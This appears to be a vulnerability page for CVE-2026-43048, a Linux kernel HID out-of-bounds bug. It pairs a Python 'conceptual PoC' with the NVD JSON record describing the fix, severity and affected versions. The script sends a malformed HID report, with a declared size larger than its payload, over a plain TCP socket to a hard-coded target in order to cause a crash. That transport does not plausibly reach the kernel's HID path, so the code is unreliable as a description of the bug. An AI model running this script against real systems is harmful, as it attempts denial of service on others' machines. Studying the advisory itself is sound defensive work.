CVE-2026-43048

import socket import struct # Conceptual PoC for CVE-2026-43048 # This script attempts to send a malformed HID report packet to trigger the OOB vulnerability. # Note: Actual exploitation requires a vulnerable target accepting HID input over an adjacent network. def trigger_oob_vulnerability(target_ip, target_port): try: # Create a raw socket or specific protocol socket (e.g., Bluetooth L2CAP) # Assuming a generic socket for demonstration sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Construct a HID report header with a size larger than the actual payload # Report ID: 0x01 # Expected Size: 64 bytes (hypothetical) # Actual Payload: 10 bytes (triggers the bug) report_id = 0x01 expected_size = 64 payload = b'A' * 10 # Small payload # Malformed packet structure packet = struct.pack('<BH', report_id, expected_size) + payload print(f"[*] Sending malformed packet to {target_ip}:{target_port}") print(f"[*] Declared size: {expected_size}, Actual payload size: {len(payload)}") sock.send(packet) print("[+] Packet sent. Check target for crash or instability.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details trigger_oob_vulnerability("192.168.1.10", 9999)

{"cve": {"id": "CVE-2026-43048", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:51.193", "lastModified": "2026-05-07T19:07:05.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: Mitigate potential OOB by removing bogus memset()\n\nThe memset() in hid_report_raw_event() has the good intention of\nclearing out bogus data by zeroing the area from the end of the incoming\ndata string to the assumed end of the buffer. However, as we have\npreviously seen, doing so can easily result in OOB reads and writes in\nthe subsequent thread of execution.\n\nThe current suggestion from one of the HID maintainers is to remove the\nmemset() and simply return if the incoming event buffer size is not\nlarge enough to fill the associated report.\n\nSuggested-by Benjamin Tissoires <[email protected]>\n\n[bentiss: changed the return value]"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.15.1", "versionEndExcluding": "6.18.22", "matchCriteriaId": "8DB63A07-5728-46DE-A02B-0ED46CD9370B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.15:-:*:*:*:*:*:*", "matchCriteriaId": "C7623CAC-67FF-477D-9F80-F383014C82DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.15:rc6:*:*:*:*:*:*", "matchCriteriaId": "8C6FCAC4-B6C6-4125-B3AC-F30407AA7738"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.15:rc7:*:*:*:*:*:*", "matchCriteriaId": "707ECC75-65B6-4B02-BE85-A4804549A2DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0a3fe972a7cb1404f693d6f1711f32bc1d244b1c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8f71034649738fdeb6859b8d6cddf132024fac06", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bd6e1d0230cca9575f5d118148f51e2a56b5373f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}